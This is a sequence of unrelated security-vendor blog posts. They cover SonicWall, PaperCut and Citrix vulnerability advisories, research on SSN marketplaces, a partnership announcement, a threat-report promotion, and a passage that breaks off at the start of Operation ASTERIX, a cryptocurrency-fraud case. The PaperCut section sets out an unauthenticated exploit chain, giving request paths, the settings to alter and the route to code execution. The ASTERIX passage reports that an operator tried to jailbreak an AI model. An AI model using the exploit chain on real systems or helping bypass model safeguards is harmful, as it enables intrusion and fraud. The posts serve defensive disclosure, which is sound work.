Overview

On September 1, 2026, SonicWall disclosed two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, CVE-2026-83548 and CVE-2026-83549, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.

CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of 10.0 and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.

CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.

SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.

SonicWall has confirmed active exploitation of both vulnerabilities in the wild, and both CVE-2026-83548 and CVE-2026-83549 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.

The vulnerabilities affect SMA1000 Models - 6210, 7210, 8200v running the following versions:

Mitigation guidance

Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.

SonicWall recommends upgrading affected appliances to:

• 12.4.3-03526 platform-hotfix, for systems on the 12.4.3 branch

• 12.5.0-02952 platform-hotfix, for systems on the 12.5.0 branch

Affected Product/Component:

• SonicWall SMA1000 Appliance Work Place and Appliance Management Console

• Version 12.4.3-03453 platform-hotfix and earlier are affected.

• Version 12.5.0-02835 platform-hotfix and earlier are affected.

SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.

If evidence of compromise is identified, SonicWall recommends:

• Re-imaging affected hardware appliances or re-deploying affected virtual appliances.

• Changing all user and administrator passwords.

• Resetting Time-based One-Time Password (TOTP) tokens.

Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.

Please read the SonicWall security advisory for the latest vendor guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.

Updates

• September 2, 2026: Initial publication.

• September 3, 2026: CVE added to CISA KEV.

Overview

On August 27, 2026, PaperCut Software published an urgent security advisory stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the initial time of disclosure, the vulnerability had not been assigned a CVE identifier, and PaperCut had not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path. However on August 28, the vendor assigned CVE-2026-81578 and CVE-2026-82078 for the two vulnerabilities that make up the exploit chain.

PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.

PaperCut stated in its advisory that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26, followed later the same day with patches for version 24.

PaperCut has been targeted in the past; in 2023, CVE-2023-27350 was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.

PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.

On August 31, 2026, both CVE-2026-81578 and CVE-2026-82078 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. A Metasploit module is now available to validate exposure to the exploit chain.

Technical overview

The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.

PaperCut uses the Apache Tapestry framework, whose "complex direct" request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public Error page or Exception page for display, an attacker can bypass authentication while invoking administrative components belonging to ConfigEditor or UserList. Additionally, the first emergency patch could be bypassed by using the Home page for display, however the newest version of the vendor patch correctly remediates this bypass.

The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the Error path segment may also be the Exception or Home path segment):

/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form

The first two URIs provide unauthenticated access to PaperCut's configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.

An attacker first uses the ConfigEditor requests to modify four external user-lookup settings:

user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled

These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.

By leveraging PaperCut's bundled Apache Derby database driver and supplying a Derby CALL statement that activates its foreignViews feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline INIT statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged UserList request. This activates the external lookup and executes the malicious SQL.

Mitigation guidance

Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.

PaperCut has released emergency patches for PaperCut NG and PaperCut MF versions 24, 25 and 26. 

Updated on September 1, 2026: Note that the vendor has released a third version of the emergency patch. Any organization that has applied either the original first version or the second version of the emergency patch is not fully protected, and must apply the third emergency patch immediately.

The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure.

PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.

Please read the PaperCut security advisory for the latest remediation guidance, updated indicators of compromise, and additional release information.

Artifacts/Evidence Sources and IOCs

For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.

• Application activity: Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with pc-app.exe.

• Log integrity: Missing, unexpectedly truncated, or deleted PaperCut server.log files.

• PaperCut server.log entries:

• ERROR No suitable driver found for jdbc:no:x

• ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST

PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.

The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.

Updates

• August 28, 2026: Initial publication.

• August 28, 2026: Updated to reflect new emergency patches and CVE ID assignment. Updated remediation to include the new v24 patches. Updated Technical Overview to indicate first patch bypass.
• August 31, 2026: Updated the Overview to note that both CVEs were added to the CISA KEV list, and the availability of a Metasploit module.
• September 1, 2026: Updated the Remediation section to reflect the vendor's new emergency patch (release 3).

Introduction

Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.

When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).

In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.

Why stolen SSNs retain their value

Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.

SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim's name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.

These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.

For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.

This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.

Anatomy of an SSN marketplace

While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.

Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.

Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.

Xilo 

Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.

Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim's SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.

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Search results typically display the victim's full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).

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In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim's full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.

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The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.

Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace's focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.

Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo's presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.

Bankomat

Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker's Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.

The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.

Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim's full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.

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Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.

This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).

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Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.

PeopleFinder

Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.

To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.

The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat's interface. Users can search the platform's database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim's full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).

To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.

What Rapid7 telemetry reveals about the executive threat landscape

By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.

Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).

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Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).

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Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.

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A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.

These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.

Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.

From detection to action: Responding to exposed executive PII

Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.

These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP's date of birth and primary locations, to confirm the listing's accuracy before issuing an alert to the customer.

Once alerted, customers can choose to purchase the exposed SSN record directly through the "Ask-an-Analyst" service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.

Conclusion and strategic defense actions

The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.

To reduce that risk, executive protection and security teams should consider the following actions:

• Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.

• Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.

• Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.

• Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.

• Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.

The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.

Overview

On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.

NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.

CVE-2026-19490 affects the following systems:

• NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32

• NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21

• NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS

• NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277

As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.

On September 9, 2026, CVE-2026-19490 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.

Mitigation guidance

Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.

Fixed versions for affected products are listed below:

• NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

• NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

• NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

• NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:

• SAML action configuration is in place:

• "add authentication samlAction.*"

• Auth or VPN vserver is configured:

•  "add authentication vserver .*"

•  "add vpn vserver .*"

For the latest guidance, please refer to the official Citrix advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.

Updates

• August 19, 2026: Initial publication.

• August 20, 2026: Updated Rapid7 customers section to reflect availability of vulnerability check.
• September 11, 2026: Updated Overview to add new CISA KEV reference.

Cássio De Alcântara is Director, LATAM Sales at Rapid7.

Across Latin America, organizations are embracing cloud, AI, and digital transformation to drive innovation and business growth. These technologies create new opportunities, but also introduce greater complexity and expanding attack surfaces.

In this environment, security leaders are being asked to understand where risk exists across increasingly distributed environments and quickly eliminate blind spots like Shadow IT and Shadow AI – all without adding operational complexity.

To help security leaders and practitioners address this complexity, Rapid7 is excited to announce a new strategic distribution partnership with Licencias OnLine (LOL) across Latin America.

Helping organizations stay ahead of evolving threats

In order to keep day-to-day business operations moving, organizations need security solutions that not only protect critical assets but also support innovation, regulatory compliance, and long-term digital transformation.

Rapid7's AI-powered cybersecurity operations platform helps organizations strengthen cyber resilience by unifying continuous exposure management, AI-driven threat detection and response, and security automation. By connecting security data across endpoint, cloud, identity, and infrastructure environments, organizations leverage one platform to gain the visibility to reduce risk and act with confidence.

A shared commitment to partner success

Success in today’s fragmented cybersecurity environments depends on a strong ecosystem of partners who can help organizations implement, optimize, and maximize the value of unified security operations.

This is where Licencias OnLine comes in. With a strong, well-established presence across Latin America, deep cybersecurity expertise, and a highly specialized channel ecosystem, Licencias OnLine brings the local knowledge, technical enablement, and operational agility needed to help partners grow their cybersecurity practices and deliver greater value to customers.

Together, Rapid7 and Licencias OnLine will invest in technical training, partner enablement, joint marketing initiatives, and go-to-market programs that help partners expand managed security services, strengthen customer relationships, and accelerate business growth across the region.

Building cyber resilience together

As organizations across Latin America continue to modernize their IT environments, they should have access to security operations that are integrated, intelligent, and designed for today's AI-powered threat landscape.

Rapid7's open platform supports this approach through hundreds of technology integrations that help organizations eliminate security silos, improve visibility across their attack surfaces, and automate response workflows. This enables security teams to reduce operational complexity while improving cybersecurity program maturity.

By combining Rapid7's global cybersecurity innovation with Licencias OnLine's regional expertise and trusted partner network, this new alliance will make it easier for organizations across Latin America to strengthen cyber resilience while enabling partners to see greater success through measurable business outcomes.

We're excited to begin this next chapter together and look forward to supporting our partners as they help customers build stronger, more resilient security operations across the region.

Ready to grow with Rapid7? Discover how Rapid7 and Licencias OnLine are helping partners accelerate cybersecurity maturity across Latin America.

You can’t patch everything. So what do you fix first? Findings in Q2 2026 have changed traditional answers.

The latest Quarterly Threat Landscape Report from Rapid7 Labs shows vulnerability disclosures still surging while attackers use automation and AI-assisted tooling to compress the time between disclosure and exploitation. The gap that patch cycles were built to fill is closing. Speed and volume are overwhelming security teams that have relied on traditional patch cycles and reactive programs. Success going forward can’t be about patching as much as possible -  it has to be about understanding what matters most and reducing the exposures attackers can actually reach.

Here are the four trends that defined Q2 2026, and what they mean for your security program as you define priorities for Q3 and beyond:

The volume of disclosures hit another milestone

There were 8,539 new high- and critical-severity CVEs (CVSS 7.0–10.0) this quarter- double the number reported in the same quarter last year (4,268). Meanwhile, the number of newly exploited vulnerabilities held roughly steady (40). The takeaway isn’t that exploitation exploded - it’s that disclosure volume is far outstripping what any team can triage.

The report breaks down which of those disclosures are actually reachable and how to triage by exploitability instead of severity score alone.

Initial access keeps getting easier

Nearly two-thirds of exploited vulnerabilities this quarter (62%) required no user interaction - no stolen credentials, no phishing victim, no click. Attackers reach and exploit them on their own, and that share is up nine points year over year (from 53% in Q2 2025). Reinforcing the trend, disclosures of missing-authentication flaws (CWE-306) surged 247% year over year - a fast-expanding pool of internet-facing systems that require no login at all.

This is the quarter’s clearest signal - and the report details exactly which exposures to close first, and how, before the exploitation curve catches up.

Nation-state activity remains persistent

Rapid7 observed continued activity from Iranian, North Korean, and Russian advanced persistent threat (APT) clusters targeting government, finance, healthcare, manufacturing, energy, and telecommunications. Russian campaigns targeted edge infrastructure; Iranian activity included sustained industrial control system (ICS) and operational technology (OT) targeting.

The report maps the specific techniques and sectors each cluster focused on this quarter.

Ransomware stays concentrated but keeps evolving

Qilin led ransomware activity in Q2 with 263 listed victims, and the United States remained the most heavily targeted country - with business services and healthcare among the hardest-hit sectors. Rapid7’s Incident Response team also saw growing use of ClickFix and fake CAPTCHA campaigns, and social engineering through trusted collaboration platforms like Microsoft Teams - techniques that accounted for 31.8% of the incidents we worked.

The report includes the full ransomware leaderboard, the sectors most at risk, and where affiliate activity is expanding next.

Exposure is the real challenge, and the biggest opportunity

The volume is daunting, but the real challenge is keeping pace with attackers. As disclosures keep growing, the organizations that stay ahead won’t be the ones patching fastest — they’ll be the ones that know what they expose, which assets matter most, where attackers can realistically get in, and how to reduce reachable exposure before it becomes an incident. That’s what preemptive security means: not a slogan, but an operating model.

The full Quarterly Threat Landscape Report shows where reachable exposure concentrates this quarter, the four actions Rapid7 Labs recommends, the sector-by-sector breakdown, and the dark-web signals shaping what’s next. Read it here before you pressure-test your Q3 prioritization.

Operation ASTERIX overview

Rapid7 researchers identified an exposed web directory on infrastructure used to support a cryptocurrency fraud operation. The server contained raw phone-number datasets, account-validation tools, enriched lead records, phishing panels, voice-dialing scripts, fake wallet applications, persistence mechanisms, and Telegram exfiltration code. Among the artifacts was evidence that the operator relied on AI coding assistants throughout the campaign's development; recovered prompts, shell history, and project files show AI being used to package Electron applications, obfuscate code, troubleshoot builds, modify phishing infrastructure, and prepare malware for distribution. When one model began resisting parts of that workflow, the operator switched providers and attempted to bypass the next model's safety controls with a custom jailbreak prompt. Together, these artifacts provide an unusual view into how AI was integrated into the development of an active phishing operation rather than simply being used to generate isolated snippets of code.

We track this activity as Operation ASTERIX, named after the Asterisk open-source telephony platform recovered on the server. The operator used Asterisk to automate the campaign's vishing infrastructure, coordinating phone calls with phishing emails and counterfeit wallet applications.

The recovered material shows how the operator combined several techniques:

• Bulk account enumeration against cryptocurrency platforms

• Phishing emails that created fake support cases

• Vishing calls that referenced details from those emails

• Counterfeit Ledger, Trezor, and Exodus applications

• Seed-phrase theft and Telegram exfiltration

• AI-assisted development, including an attempt to bypass an LLM’s safety controls

Much of the value around this finding is timing. Much of the infrastructure was still in use or under development when it was exposed. This allowed Rapid7 Labs to notify the appropriate providers and authorities while the operation was still active, while also documenting the campaign's tooling and development process.

Rapid7 Labs disclosed the identified infrastructure and findings to the relevant authorities, including Apple's security team, and collaborated with them to support action against the activity described in this report.

Technical analysis and observed attacker behavior

The recovered files show a multi-stage operation designed to focus social engineering on confirmed cryptocurrency users. The attacker used account-checking tools to confirm which phone numbers were tied to active crypto exchange accounts, narrowing a raw dataset down to confirmed holders. From there, the recovered infrastructure supported multiple outreach channels. The phishing panels generated fake support cases and verification codes that were later referenced during phone calls, while files such as extract_sg_numbers.py and sg_leads_server.py suggest additional lead-management and direct-outreach capabilities. Although call logs were not recovered to reconstruct every interaction, the recovered artifacts indicate that these channels ultimately directed victims toward counterfeit wallet applications designed to steal recovery phrases. 

⠀

Each stage narrowed the target pool or increased trust before the operator asked the user to install software or provide wallet recovery information. That structure is important for defenders, as it creates several points where the campaign can be detected or interrupted before seed phrases are stolen.

Account validation

